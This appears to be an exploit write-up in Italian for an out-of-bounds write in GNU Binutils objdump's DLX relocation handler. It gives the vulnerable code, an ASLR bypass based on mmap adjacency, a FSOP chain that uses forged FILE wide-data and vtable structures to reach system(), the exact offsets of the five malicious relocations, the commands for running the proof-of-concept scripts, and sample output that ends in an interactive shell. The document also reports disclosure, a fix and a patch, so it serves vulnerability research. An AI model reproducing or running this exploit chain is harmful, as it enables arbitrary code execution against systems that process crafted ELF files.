GNU Binutils objdump — Scrittura fuori dai limiti → FSOP → Esecuzione di codice arbitrario

Target: GNU Binutils (tutte le versioni fino alla HEAD) — objdump
Ambiente: Debian 13 (Trixie), glibc 2.41, x86_64
Impatto: esecuzione di codice arbitrario
Vettore: file ELF appositamente creato elaborato da objdump -g
ASLR: eluso (delta mmap deterministico)

Ringraziamenti

Un enorme ringraziamento a bikini per il riconoscimento e per la sua correttezza riguardo a questa scoperta. È un gran tipo, ho avuto il piacere di chiacchierare con lui, e ha fatto alcune scoperte fantastiche per conto suo. Andate a vedere il suo lavoro!

Vulnerabilità

Causa principale — `bfd/elf32-dlx.c`

Il gestore di rilocazione R_DLX_RELOC_26_PCREL (elf32_dlx_relocate26) esegue una lettura/scrittura di 4 byte all'indirizzo data + reloc_entry->address senza verificare l'offset rispetto alla dimensione della sezione. Poiché la funzione restituisce bfd_reloc_ok, il controllo generico dei limiti in bfd/reloc.c viene completamente aggirato.

// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn  = bfd_get_32(abfd, data + reloc_entry->address);   // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
    vallo = ~(vallo | 0xFC000000) + 1;                   // sign-extend 26 bits

val   = (sym->section->vma + sym->value) - vallo;
insn  = (insn & 0xFC000000) | (val & 0x03FFFFFF);

bfd_put_32(abfd, insn, data + reloc_entry->address);     // OOB write
return bfd_reloc_ok;                                      // skips bounds check

L'offset reloc_entry->address viene letto direttamente dal file ELF e può puntare arbitrariamente oltre il buffer della sezione.

Trucco della prossimità mmap

Su x86_64, gli offset ELF32 vengono estesi con zeri, limitando le scritture a offset positivi. Una sezione .debug_info ≥ 128 KB costringe malloc() a usare mmap(), posizionando il buffer adiacente al segmento dati di libc:

┌──────────────────────────────────────┐  ← same mmap region
│  .debug_info buffer (192 KB)         │  data     = 0x7f...d010
│  ├── fake _IO_wide_data  (+0x1000)   │
│  └── fake _IO_jump_t     (+0x2000)   │
│              ...                     │
│  _IO_2_1_stderr_                     │  stderr   = data + 0x21a4d0
│  _IO_wfile_jumps                     │  wfile    = data + 0x218218
│  system()                            │  system() = data + 0x87100
└──────────────────────────────────────┘

Il delta stderr - data = 0x21A4D0 è costante tra le diverse esecuzioni con ASLR perché entrambe le regioni sono allocate dalla stessa mmap durante il caricamento di libc.

Catena di sfruttamento FSOP

Percorso di esecuzione

objdump writes to stderr ("Can't get contents for section...")
  └─► _IO_wfile_overflow(stderr)
      └─► _IO_wdoallocbuf(stderr)
          └─► _IO_WDOALLOCATE(stderr)
              = stderr->_wide_data->_wide_vtable->__doallocate(stderr)
              = fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/HEAD/stderr)
              = system(stderr)
              = system("p;sh")         ← stderr._flags[0:4] = "p;sh"

Le 5 scritture fuori dai limiti (PCREL26)

Strutture fittizie (nel buffer della sezione)

data + 0x1000 : fake _IO_wide_data
  +0xE0      : _wide_vtable → data + 0x2000

data + 0x2000 : fake _IO_jump_t
  +0x68      : __doallocate → system()

Vincoli sul comando

L'exploit supporta comandi da 2 a 4 caratteri. La reloc 0 scrive _flags[0:3] e la reloc 4 scrive _flags[3] e azzera il padding, dando a system() fino a 4 caratteri prima del terminatore null naturale.

Solo i primi due byte sono vincolati dalla disposizione dei flag FILE di glibc:

cmd[2] e cmd[3] sono senza vincoli.

Riproduzione

Prerequisiti

# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)

Genera il payload + esegui l'exploit

# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin

# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh"   # interactive shell
python3 poc_ptrace.py --cmd "p;id"   # print uid/gid
python3 poc_ptrace.py                # default: "ps"

L'exploit riprova automaticamente fino a 5 volte in caso di mancata corrispondenza del byte-3 dell'ASLR (~12% per tentativo), raggiungendo un tasso di successo di ~99.998%.

Output atteso

[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh'  bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr      = 0x005e61e06cad90  (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr    = 0x0075b1eda524e0
[*] system    = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0  (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20  (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000  (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id                                   ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done

Correzione suggerita

Aggiungi un controllo dei limiti in elf32_dlx_relocate26() prima di accedere ai dati della sezione:

if (reloc_entry->address + 4 > input_section->size)
    return bfd_reloc_outofrange;

File

File	Descrizione
`poc_generate.py`	Genera il payload ELF DLX malevolo (`exploit.bin`) con 5 reloc fuori dai limiti

Divulgazione

Questa vulnerabilità è stata segnalata ai maintainer di GNU Binutils. Il codice dell'exploit è fornito esclusivamente a scopo di ricerca sulla sicurezza autorizzata.

Patch

https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5

0	`0x21A4CF` = stderr − 1	`_flags[0:3]` = `cmd[0..2]` → inizio dell'argomento di system()
1	`0x21A4F8` = stderr + 0x28	`_IO_write_ptr` ≠ 0 → forza il flush → overflow
2	`0x21A56F` = stderr + 0x9F	`_wide_data[0:3]` → punta a fake _IO_wide_data
3	`0x21A5A7` = stderr + 0xD7	`vtable[0:3]` → `_IO_wfile_jumps`
4	`0x21A4D2` = stderr + 2	`_flags[3]` = `cmd[3]`, padding azzerato → terminatore null

1	`_IO_UNBUFFERED`	`cmd[0] & 0x02 == 0`	altrimenti `_IO_wdoallocbuf` salta `__doallocate`
3	`_IO_NO_WRITES`	`cmd[0] & 0x08 == 0`	altrimenti overflow restituisce subito WEOF
13	`_IO_IS_FILEBUF`	`cmd[1] & 0x20 != 0`	richiesto per entrare nel blocco doallocate

`"ps"`	70 73	elenca i processi
`"p;sh"`	70 3B 73 68	avvia una shell interattiva ← il più utile
`"p;ls"`	70 3B 6C 73	elenca la directory
`"p;id"`	70 3B 69 64	stampa uid/gid

objdump-Out-Of-Bounds-write

Più Popolari